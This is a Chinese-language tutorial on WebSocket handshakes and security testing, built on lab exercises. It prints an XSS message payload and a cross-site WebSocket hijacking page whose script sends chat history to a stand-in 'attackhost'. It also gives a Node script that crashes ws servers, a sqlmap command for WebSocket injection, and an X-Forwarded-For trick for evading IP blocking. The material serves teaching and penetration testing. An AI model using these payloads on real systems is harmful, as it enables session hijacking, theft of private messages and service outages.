WebSocket

WebSocket是一種透過 HTTP 發起的雙向、全雙工通訊協定。它們通常在現代 Web 應用程式中用於串流資料和其他非同步流量。

瀏覽器建立websocket的請求說明如下

GET /chat
Host: systw.net
Origin: https://systw.net
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: Iv8io/9s+lYFgZWcXczP8Q==
Sec-WebSocket-Version: 13
  • Origin: 用戶端頁面的來源。 WebSocket 原生支援跨域,它允許伺服器決定是否使用 WebSocket 與該網站通訊。
  • Connection: Upgrade 表示客戶端想要更改協定。
  • Upgrade: websocket 請求的協定是websocket。
  • Sec-WebSocket-Key 瀏覽器隨機產生的安全密鑰。
  • Sec-WebSocket-Version 協定版本,目前為13。

如果伺服器同意切換為 WebSocket 協議,伺服器返回101如下

101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: hsBlbuDTkk24srzEOTBUlZAlC2g=

這裡 Sec-WebSocket-Accept是 Sec-WebSocket-Key,是使用特殊的演算法重新編碼的。 瀏覽器使用它來確保回應與請求相對應。


WSS

不建使用 ws://,它不是安全傳輸。建議使用 wss://,這是一個更安全的協議,它可以防止中間人攻擊之類的事情。因為安全的傳輸從一開始就可以防止許多攻擊

以python 連接websocket為例:

  • 一般連接 python3 -m websockets ws://systw.net/ws/
  • 用安全傳輸連接 python3 -m websockets wss://systw.net/ws/

refer
https://zh.javascript.info/websocket
https://www.goeasy.io/articles/650.html


websocket安全

websocket常見的安全問題有

  • XSS
  • hijacking
  • DoS
  • SQL injuection


XSS

大多數 WebSocket 漏洞都是透過篡改 WebSocket 訊息。

例如,聊天應用程式使用 WebSocket 在瀏覽器和伺服器之間發送聊天訊息。當使用者輸入聊天訊息時,將向伺服器發送如下所示的 WebSocket 訊息:{"message":"Hello Carlos"}

然後伺服器將訊息內容透過 WebSockets傳到另一個聊天用戶,並在用戶的瀏覽器中呈現如下:<td>Hello Carlos</td>

在這種情況下,如果沒有其他輸入處理或防禦起作用,攻擊者可以透過提交以下 WebSocket 訊息來執行 XSS 攻擊:{"message":"<img src=1 onerror='alert(1)'>"}

Lab: Manipulating WebSocket messages to exploit vulnerabilities


hijacking

透過chat與websocket建立連線,請求大致如下

GET /chat HTTP/1.1
Host: 0ae1001c04f50fd0c0da015900a200b0.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0ae1001c04f50fd0c0da015900a200b0.web-security-academy.net
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Fd5tcbzt1pI5dyZKqlQh5C5mnkut8tlJ
Sec-WebSocket-Key: UFtiwjoGeYFodJPCYSWiGg==

與websocket建立連線後開始訊息交換

to server
	READY
to client
	{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}

仔細觀察這個websocket建立的請求後發現3個風險

  • 這個請求沒有使用CSRF-TOKEN,因此可以劫持使用者的連線
  • 對websocket傳送READY,可顯示過去的聊天記錄
  • Origin內容拿掉也可正常運作,表示目標未做Origin限制,任何來源都可以使用websocket

基於這些風險,可以準備以下攻擊頁面

<script>
websocket = new WebSocket('wss://websockethost/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY");
}
function handleReply(event) {
  fetch('https://attackhost/?'+event.data, {mode: 'no-cors'})
}
</script>

當使用者開啟此攻擊頁面,會以使用者身份與websocket建立連線,接著傳送READY給目標取得過去的聊天記錄。只要到攻擊者主機attackhost查詢即可,內容大致如下

GET /?{%22user%22:%22You%22,%22content%22:%22I%20forgot%20my%20password%22} HTTP/1.1
...omit...
GET /?{%22user%22:%22Hal%20Pline%22,%22content%22:%22No%20problem%20carlos,%20it&apos;s%209wrc07ttgnx80bkhpv4x%22} HTTP/1.1

把websocket傳過來的歷史聊天記錄urldecode後,可以發現使用者的密碼 9wrc07ttgnx80bkhpv4x

GET /?{"user":"Hal Pline","content":"No problem carlos, it's 9wrc07ttgnx80bkhpv4x"} HTTP/1.1

Lab: Cross-site WebSocket hijacking

refer
https://christian-schneider.net/CrossSiteWebSocketHijacking.html


DoS

WebSocket 預設允許不受限制的跨域調用,這會導致 DoS 漏洞。 以下是導致 WebSocket 伺服器崩潰的常見腳本,該腳本會影響某些 ws 用戶端版本:

const WebSocket = require('ws'); 
const net = require('net'); 
const wss = new WebSocket.Server({ port: 3000 }, function () { 
  const payload = 'constructor';  // or ',;constructor' 
const request = [ 
    'GET / HTTP/1.1', 
    'Connection: Upgrade', 
    'Sec-WebSocket-Key: test', 
    'Sec-WebSocket-Version: 8', 
    `Sec-WebSocket-Extensions: ${payload}`, 
    'Upgrade: websocket', 
    '\r\n' 
  ].join('\r\n'); 
const socket = net.connect(3000, function () { 
    socket.resume(); 
    socket.write(request); 
  }); 
});

refer
https://www.cobalt.io/blog/a-pentesters-guide-to-websocket-pentesting
https://brightsec.com/blog/websocket-security-top-vulnerabilities/


SQL Injection

直接透過sqlmap跑

sqlmap --url "ws://systw.net/ws/" --data='{"status":"database","token":"sefji8aeaesfrhj2984afb"}' -v 3  

也可以使用sqlmap搭配透過中轉工具像是Ws-Harness

refer

https://www.freebuf.com/articles/web/281451.html

https://2h3ph3rd.medium.com/sqlmap-over-websockets-353cdcd9a7ab

https://zero-s4n.hashnode.dev/fuzzing-websocket-messages-on-burpsuite


其他補充

某些系統偵測到攻擊會把IP加入黑名單,讓IP就無法與websocket建立連線,

以下為websocket的例子

to server{"message":"test"}
to client{"user":"You","content":"test"}
to server{"message":"<img src=1 onerror='alert(1)'>"}
to client {"error":"Attack detected: Event handler"}

server發現有攻擊行為,接著client就無法與websocket建立連線

但如果在重新建連線時透過X-Forwarded-For換不同IP,就能騙過server,如下

GET /chat HTTP/1.1
X-Forwarded-For: 1.1.1.2

接著就可以和websocket建立連線行為,並繼續嘗試攻擊行為

to server{"message":"<img src=1 onerror='alert(1)'>"}

Lab:Manipulating the WebSocket handshake to exploit vulnerabilities